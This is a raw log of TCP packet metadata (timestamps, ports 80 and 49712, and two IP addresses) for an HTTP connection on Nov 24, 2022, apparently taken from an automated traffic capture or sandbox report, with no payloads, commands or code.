Nov 24, 2022 16:57:33.452792883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452811003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452812910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452828884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452845097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452852011 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452862978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452887058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452892065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452904940 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452923059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452924967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452940941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452959061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452959061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.452976942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452994108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.452994108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453011036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453027964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453032017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453046083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453064919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453066111 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453082085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453099012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453104973 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453116894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453134060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453139067 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453150988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453167915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453171015 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453186035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453202963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453206062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453221083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453238964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453242064 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453255892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453273058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453278065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453290939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453308105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453310013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453325987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453344107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453346014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453361034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453378916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453380108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453396082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453413010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453413963 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453430891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453447104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453450918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453464985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453483105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453485012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453500032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453516006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453517914 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453533888 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453551054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453552008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453568935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453584909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453586102 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453603029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453620911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453620911 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453638077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453655005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453659058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453671932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453689098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453691959 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453706026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453722954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453731060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453741074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453758001 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453758955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453775883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453794956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453797102 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453811884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453829050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453843117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453845978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453862906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453864098 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453880072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453897953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453898907 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453915119 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453932047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453936100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453949928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453967094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.453975916 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.453984022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454000950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454004049 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454019070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454035997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454044104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454054117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454071045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454077005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454087973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454103947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454116106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454122066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454138994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454140902 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454155922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454174042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454178095 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454190969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454206944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454211950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454224110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454241037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454245090 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454257965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454274893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454279900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454292059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454310894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454318047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454328060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454344988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454345942 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454361916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454380035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454382896 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454396963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454412937 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454418898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454437017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454453945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454458952 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454471111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454488039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454490900 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454526901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454530001 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454546928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454564095 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454581022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454587936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454597950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454616070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454622984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454632044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454648972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454649925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454668045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454684019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454690933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454711914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454718113 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454730034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454746962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454762936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454768896 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454780102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454797983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454802036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454814911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454830885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454830885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454848051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454864979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454869032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454910994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454917908 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454930067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454947948 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454963923 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.454965115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454982996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.454998970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455005884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455015898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455034018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455034018 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455051899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455069065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455077887 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455085993 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455102921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455102921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455131054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455147982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455156088 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455163956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455180883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455188036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455199003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455216885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455215931 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455235004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455250978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455255985 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455267906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455285072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455293894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455302000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455319881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455321074 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455338001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455355883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455358982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455373049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455389977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455396891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455406904 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455424070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455425978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455440998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455462933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455466032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455480099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455497026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455501080 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455513954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455530882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455540895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455548048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455565929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455566883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455584049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455600977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455609083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455617905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455634117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455636978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455651045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455667973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455677032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455686092 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455702066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455703974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455720901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455739021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455739021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455755949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455773115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455777884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455790043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455807924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455813885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455827951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455845118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455856085 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455862045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455878973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455878973 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455894947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455912113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455916882 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455929995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455950022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455950022 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.455966949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455985069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.455986023 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456001997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456018925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456020117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456036091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456052065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456058025 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456069946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456087112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456089020 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456104994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456121922 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456123114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456140041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456156015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456156969 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456173897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456190109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456192970 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456207037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456224918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456227064 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456240892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456259966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456260920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456276894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456295967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456296921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456314087 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456330061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456331968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456347942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456365108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456367016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456382036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456398964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456401110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456415892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456433058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456433058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456450939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456466913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456469059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456484079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456500053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456502914 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456516981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456533909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456536055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456549883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456567049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456573009 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456583977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456599951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.456603050 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.456634045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.457113028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457129955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457148075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457165003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457181931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457180977 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.457197905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.457199097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457216024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.457235098 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.457700968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.458062887 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476217031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476247072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476269960 CET	80	49712	66.235.200.147	192.168.2.3
